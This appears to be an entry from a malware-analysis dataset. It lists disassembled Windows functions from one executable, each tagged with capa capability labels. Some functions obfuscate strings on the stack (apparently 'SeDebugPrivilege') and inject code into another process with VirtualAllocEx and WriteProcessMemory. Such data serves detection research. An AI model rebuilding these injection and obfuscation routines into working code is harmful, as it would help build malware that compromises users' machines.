joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413de0
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x413e3e
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 8]
push ecx
push edi
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x413e37
cmp dword [esp + 4], edi
jne 0x413e37
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret

Function at 0x414260
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x428878
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x3c], eax
push ebx
push esi
mov eax, dword [0x431060]
xor eax, esp
push eax
lea eax, [esp + 0x4c]
mov dword fs:[0], eax
xor ebx, ebx
mov al, 0x70
mov byte [esp + 0x2a], al
mov byte [esp + 0x2c], al
xor eax, eax
push ebx
mov esi, ecx
push 0x42e20b
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 0x75
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x33], 0x5f
mov byte [esp + 0x35], 0x6f
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], 0x3a
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov dword [esp + 0x3b], eax
mov dword [esp + 0x3f], eax
mov dword [esp + 0x43], eax
mov dword [esp + 0x47], eax
mov dword [esp + 0x4b], eax
mov byte [esp + 0x4f], al
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.004019e0
push ebx
lea eax, [esp + 0x10]
mov dword [esp + 0x58], ebx
push eax
lea eax, [esp + 0x30]
mov ebx, esi
call fcn.00413e50
test eax, eax
jne 0x414333
cmp dword [esp + 0x24], 0x10
jb 0x41432f
mov ecx, dword [esp + 0x10]
push ecx
call fcn.004160ce
add esp, 4
xor eax, eax
jmp 0x414389
cmp dword [esp + 0x20], 2
jae 0x414352
cmp dword [esp + 0x24], 0x10
jb 0x41432f
mov edx, dword [esp + 0x10]
push edx
call fcn.004160ce
add esp, 4
xor eax, eax
jmp 0x414389
mov eax, dword [esp + 0x10]
mov esi, 0x10
cmp dword [esp + 0x24], esi
jae 0x414365
lea eax, [esp + 0x10]
push eax
call fcn.00416c1b
add esp, 4
mov word [edi], ax
cmp dword [esp + 0x24], esi
jb 0x414384
mov eax, dword [esp + 0x10]
push eax
call fcn.004160ce
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x4c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.00415dd3
add esp, 0x4c
ret
Function at 0x4143b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4287b8
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push ebp
push esi
mov eax, dword [0x431060]
xor eax, esp
push eax
lea eax, [esp + 0x74]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x84]
push 0
push 0x42e20b
mov ecx, ebp
call fcn.004019e0
mov al, 0x65
mov byte [esp + 0x51], al
mov byte [esp + 0x55], al
xor eax, eax
mov dword [esp + 0x59], eax
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov dword [esp + 0x69], eax
mov word [esp + 0x6d], ax
mov byte [esp + 0x6f], al
mov al, 0x69
mov dl, 0x6f
mov bl, 0x3a
mov cl, 0x61
mov byte [esp + 0x31], al
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], dl
mov dl, 0x75
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
xor eax, eax
cmp dword [edi + 0x18], 0x10
mov byte [esp + 0x56], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x52], cl
mov byte [esp + 0x53], 0x64
mov byte [esp + 0x54], 0x6d
mov byte [esp + 0x57], 0
mov byte [esp + 0x58], 0
mov byte [esp + 0x30], 0x78
mov byte [esp + 0x32], cl
mov byte [esp + 0x34], 0x73
mov byte [esp + 0x35], 0x68
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], dl
mov byte [esp + 0x3b], 0x6a
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x40], 0
mov byte [esp + 0x41], 0
mov dword [esp + 0x42], eax
mov dword [esp + 0x46], eax
mov dword [esp + 0x4a], eax
mov word [esp + 0x4e], ax
lea ebx, [edi + 4]
jb 0x4144ba
mov eax, dword [ebx]
jmp 0x4144bc
mov eax, ebx
lea ecx, [esp + 0x50]
push ecx
push eax
call fcn.004166f0
add esp, 8
cmp dword [edi + 0x18], 0x10
mov esi, eax
jb 0x4144d6
mov eax, dword [ebx]
jmp 0x4144d8
mov eax, ebx
lea edx, [esp + 0x30]
push edx
push eax
call fcn.004166f0
add esp, 8
test eax, eax
jne 0x4144f1
xor eax, eax
jmp 0x414581
lea ecx, [esp + 0x30]
lea edx, [ecx + 1]
mov dword [esp + 0x10], edx
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414500
sub ecx, dword [esp + 0x10]
cmp dword [edi + 0x18], 0x10
jb 0x414513
mov ebx, dword [ebx]
sub ecx, ebx
add ecx, eax
cmp esi, eax
jae 0x414522
mov eax, dword [edi + 0x14]
sub eax, ecx
jmp 0x414541
lea edx, [esp + 0x30]
lea ebx, [edx + 1]
mov dword [esp + 0x10], ebx
lea ecx, [ecx]
mov bl, byte [edx]
inc edx
test bl, bl
jne 0x414530
sub edx, dword [esp + 0x10]
sub esi, edx
sub esi, eax
mov eax, esi
test eax, eax
jle 0x4144ea
push eax
lea esi, [esp + 0x18]
mov edx, edi
call fcn.004147b0
push 0xffffffffffffffff
push 0
push eax
mov ecx, ebp
mov dword [esp + 0x88], 0
call fcn.00401c00
cmp dword [esp + 0x2c], 0x10
jb 0x41457c
mov eax, dword [esp + 0x18]
push eax
call fcn.004160ce
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x74]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.00415dd3
add esp, 0x70
ret 4
Function at 0x4145b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x428788
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x64], eax
push ebx
push ebp
push esi
mov eax, dword [0x431060]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x88]
push 0
push 0x42e20b
mov ecx, ebp
mov dword [esp + 0x1c], ebp
call fcn.004019e0
mov al, 0x65
mov byte [esp + 0x55], al
mov byte [esp + 0x59], al
xor eax, eax
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov word [esp + 0x71], ax
mov byte [esp + 0x73], al
mov al, 0x69
mov dl, 0x6f
mov bl, 0x3a
mov cl, 0x61
mov byte [esp + 0x35], al
mov byte [esp + 0x37], dl
mov byte [esp + 0x3a], dl
mov dl, 0x75
mov byte [esp + 0x3e], al
mov byte [esp + 0x40], al
xor eax, eax
cmp dword [edi + 0x18], 0x10
mov byte [esp + 0x5a], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x56], cl
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0x6d
mov byte [esp + 0x5b], 0
mov byte [esp + 0x5c], 0
mov byte [esp + 0x34], 0x78
mov byte [esp + 0x36], cl
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], 0x68
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3f], 0x6a
mov byte [esp + 0x41], cl
mov byte [esp + 0x42], 0x6e
mov byte [esp + 0x44], 0
mov byte [esp + 0x45], 0
mov dword [esp + 0x46], eax
mov dword [esp + 0x4a], eax
mov dword [esp + 0x4e], eax
mov word [esp + 0x52], ax
lea ebx, [edi + 4]
jb 0x4146be
mov eax, dword [ebx]
jmp 0x4146c0
mov eax, ebx
lea ecx, [esp + 0x54]
push ecx
push eax
call fcn.004166f0
add esp, 8
cmp dword [edi + 0x18], 0x10
mov esi, eax
jb 0x4146da
mov eax, dword [ebx]
jmp 0x4146dc
mov eax, ebx
lea edx, [esp + 0x34]
push edx
push eax
call fcn.004166f0
add esp, 8
test esi, esi
jne 0x4146f5
xor eax, eax
jmp 0x414781
lea ecx, [esp + 0x54]
lea edx, [ecx + 1]
mov dword [esp + 0x10], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x414700
sub ecx, dword [esp + 0x10]
cmp dword [edi + 0x18], 0x10
jb 0x414713
mov ebx, dword [ebx]
sub ecx, ebx
add ecx, esi
cmp eax, esi
jae 0x414722
mov eax, dword [edi + 0x14]
sub eax, ecx
jmp 0x414741
lea edx, [esp + 0x54]
lea ebp, [edx + 1]
lea esp, [esp]
mov bl, byte [edx]
inc edx
test bl, bl
jne 0x414730
sub edx, ebp
mov ebp, dword [esp + 0x14]
sub eax, edx
sub eax, esi
test eax, eax
jle 0x4146ee
push eax
lea esi, [esp + 0x1c]
mov edx, edi
call fcn.004147b0
push 0xffffffffffffffff
push 0
push eax
mov ecx, ebp
mov dword [esp + 0x8c], 0
call fcn.00401c00
cmp dword [esp + 0x30], 0x10
jb 0x41477c
mov eax, dword [esp + 0x1c]
push eax
call fcn.004160ce
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.00415dd3
add esp, 0x74
ret 4
Function at 0x4147e0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x138
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x13c]
push ebx
push ebp
mov ebp, dword [esp + 0x14c]
push esi
push edi
push 0x124
xor edi, edi
lea ecx, [esp + 0x20]
push edi
push ecx
mov dword [esp + 0x20], eax
call fcn.00417ce0
add esp, 0xc
push edi
push 2
mov dword [esp + 0x20], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41488e
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.004163bc
add esp, 8
test eax, eax
jne 0x414872
cmp dword [esp + 0x150], edi
je 0x41488a
mov edx, dword [esp + 0x20]
push edx
push eax
push ebp
call ebx
test eax, eax
jne 0x414883
lea eax, [esp + 0x18]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x414846
jmp 0x41488e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x144]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00415dd3
add esp, 0x138
ret
Function at 0x415730
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x94], eax
push 0x94
lea eax, [esp + 4]
push 0
push eax
call fcn.00417ce0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 6
mov ecx, dword [esp + 0x94]
sbb eax, eax
xor ecx, esp
inc eax
call fcn.00415dd3
add esp, 0x98
ret
Function at 0x4159e0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x530
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x52c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x53c]
push esi
mov esi, edx
push edi
mov edi, ecx
test esi, esi
je 0x415b46
test edi, edi
je 0x415b46
test ebp, ebp
je 0x415b46
push 0x103
lea eax, [esp + 0x35]
push 0
push eax
mov byte [esp + 0x3c], 0
call fcn.00417ce0
add esp, 0xc
lea ebx, [esp + 0x30]
call fcn.00415ba0
test eax, eax
je 0x415b46
mov al, 0x65
mov cl, 0x69
mov byte [esp + 0x25], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], al
mov dl, 0x67
mov byte [esp + 0x29], al
mov byte [esp + 0x2b], al
xor eax, eax
lea ecx, [esp + 0x1c]
xor ebx, ebx
push ecx
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x24], 0x62
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x2a], 0x76
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2e], dl
mov byte [esp + 0x30], bl
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
call fcn.004148b0
add esp, 4
push 0x2a
push 1
push ebp
call fcn.004147e0
add esp, 0xc
push ebx
push ebx
push edi
mov esi, eax
call fcn.004147e0
add esp, 0xc
mov edi, eax
cmp esi, 0xa
jb 0x415b46
cmp edi, 0xa
jb 0x415b46
push 0x3ff
lea edx, [esp + 0x13d]
push ebx
push edx
mov byte [esp + 0x144], bl
call fcn.00417ce0
add esp, 0xc
lea eax, [esp + 0x138]
push edi
push eax
lea edx, [esp + 0x38]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
call fcn.00414e50
add esp, 8
test eax, eax
je 0x415b46
push esi
push ebx
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x415b46
push 0x40
push 0x1000
push 0x400
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
jne 0x415b61
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x53c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00415dd3
add esp, 0x530
ret
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x18]
push ebx
lea edx, [esp + 0x140]
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x415b3f
cmp dword [esp + 0x18], ebx
jne 0x415b3f
call fcn.00415790
push esi
test eax, eax
je 0x415b40
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x415b48

Function at 0x415dd3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431060]
jne 0x415ddd
repz ret
jmp fcn.00417936
Function at 0x42058c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00417dcc
and dword [ebp - 4], 0
cmp dword [0x432e50], 0
mov ebx, eax
jne 0x42063d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4206ee
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42acdc
push edi
call esi
test eax, eax
je 0x4206ee
push eax
call fcn.00417d5a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x432e50], eax
call esi
push eax
call fcn.00417d5a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x432e54], eax
call esi
push eax
call fcn.00417d5a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x432e58], eax
call esi
push eax
call fcn.00417d5a
pop ecx
mov dword [0x432e60], eax
test eax, eax
je 0x42063d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00417d5a
pop ecx
mov dword [0x432e5c], eax
mov eax, dword [0x432e5c]
cmp eax, ebx
je 0x420695
cmp dword [0x432e60], ebx
je 0x420695
push eax
call fcn.00417dd5
push dword [0x432e60]
mov esi, eax
call fcn.00417dd5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x420695
test edi, edi
je 0x420695
call esi
test eax, eax
je 0x42068c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42068c
test byte [ebp - 0xc], 1
jne 0x420695
or dword [ebp + 0x10], 0x200000
jmp 0x4206ce
mov eax, dword [0x432e54]
cmp eax, ebx
je 0x4206ce
push eax
call fcn.00417dd5
pop ecx
test eax, eax
je 0x4206ce
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4206ce
mov eax, dword [0x432e58]
cmp eax, ebx
je 0x4206ce
push eax
call fcn.00417dd5
pop ecx
test eax, eax
je 0x4206ce
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x432e50]
call fcn.00417dd5
pop ecx
test eax, eax
je 0x4206ee
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4206f0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41b9d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x17c3920]
xor edx, edx
cmp eax, edx
jne 0x41b9f6
xor eax, eax
mov byte [eax + 0x17c3820], al
inc eax
cmp eax, 0x100
jl 0x41b9de
mov dword [0x17c3920], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x17c3820
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41ba87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41ba5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41ba28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bb00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bb53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bb3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41fdf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x68
mov eax, dword [esp + 0x78]
push ebx
push esi
cmp eax, 1
push edi
mov dword [esp + 0x14], ecx
jl 0x420011
cmp eax, 8
jg 0x420011
cmp dword [esp + 0x8c], 2
jl 0x420011
mov eax, dword [esp + 0x7c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov ecx, dword [eax + 8]
mov dword [esp + 0x6c], ecx
sub ecx, esi
mov ebx, dword [eax + 0xc]
mov dword [esp + 0x7c], ecx
test ecx, ecx
mov dword [esp + 0x70], ebx
jle 0x420011
sub ebx, edi
test ebx, ebx
mov dword [esp + 0x20], ebx
jle 0x420011
mov eax, dword [esp + 0x80]
test eax, eax
je 0x41fe77
mov edx, dword [eax]
mov dword [esp + 0x44], edx
mov edx, dword [eax + 4]
mov dword [esp + 0x48], edx
mov edx, dword [eax + 8]
mov dword [esp + 0x4c], edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x50], eax
xor edx, edx
push ebp
test ebx, ebx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], edx
jle 0x41fffa
mov ebp, dword [0x469474]
mov eax, ebx
mov dword [esp + 0x10], 0x32
sub eax, edx
cmp eax, 0x32
jg 0x41fea9
mov dword [esp + 0x10], eax
xor eax, eax
test ecx, ecx
jle 0x41ffe1
mov ebx, dword [esp + 0x10]
add ebx, edx
mov dword [esp + 0x20], ebx
sub ecx, eax
cmp ecx, 0x32
jle 0x41fec9
mov ecx, 0x32
lea ebx, [ecx + eax]
mov ecx, dword [esp + 0x20]
push ecx
push ebx
push edx
lea edx, [esp + 0x34]
push eax
push edx
call dword [0x469460]
push edi
lea eax, [esp + 0x2c]
push esi
push eax
call ebp
mov eax, dword [esp + 0x84]
test eax, eax
je 0x41ff08
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [0x469464]
lea ecx, [esp + 0x28]
push ecx
call dword [0x4694a8]
test eax, eax
jne 0x41ffc8
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x40], ecx
mov eax, edi
mov ecx, esi
mov dword [esp + 0x44], edx
neg eax
neg ecx
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
call ebp
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x60], edx
lea edx, [esp + 0x58]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x74]
push edx
mov edx, dword [esp + 0x94]
sub ecx, edi
sub eax, esi
push edx
push ecx
mov ecx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x9c]
push eax
call fcn.0041f400
cmp eax, 1
jne 0x41fff2
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x80]
push edx
push eax
push ecx
mov ecx, dword [esp + 0x28]
call fcn.0041fcb0
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x14]
mov eax, ebx
cmp eax, ecx
jl 0x41febd
mov ebx, dword [esp + 0x24]
add edx, dword [esp + 0x10]
cmp edx, ebx
mov dword [esp + 0x14], edx
jge 0x41fffa
jmp 0x41fe94
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x18]
call fcn.0041f000
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x68
ret 0x1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x68
ret 0x1c
Function at 0x422590
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x422728
cmp ebp, ebx
jle 0x422728
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4225ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x4225f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, 0x80000001
jns 0x422604
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42260b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00459a25
add esp, 4
cmp eax, ebx
je 0x42262c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00459a25
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42271e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x422705
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4226f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4226e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4226f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4226f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422690
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x422681
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret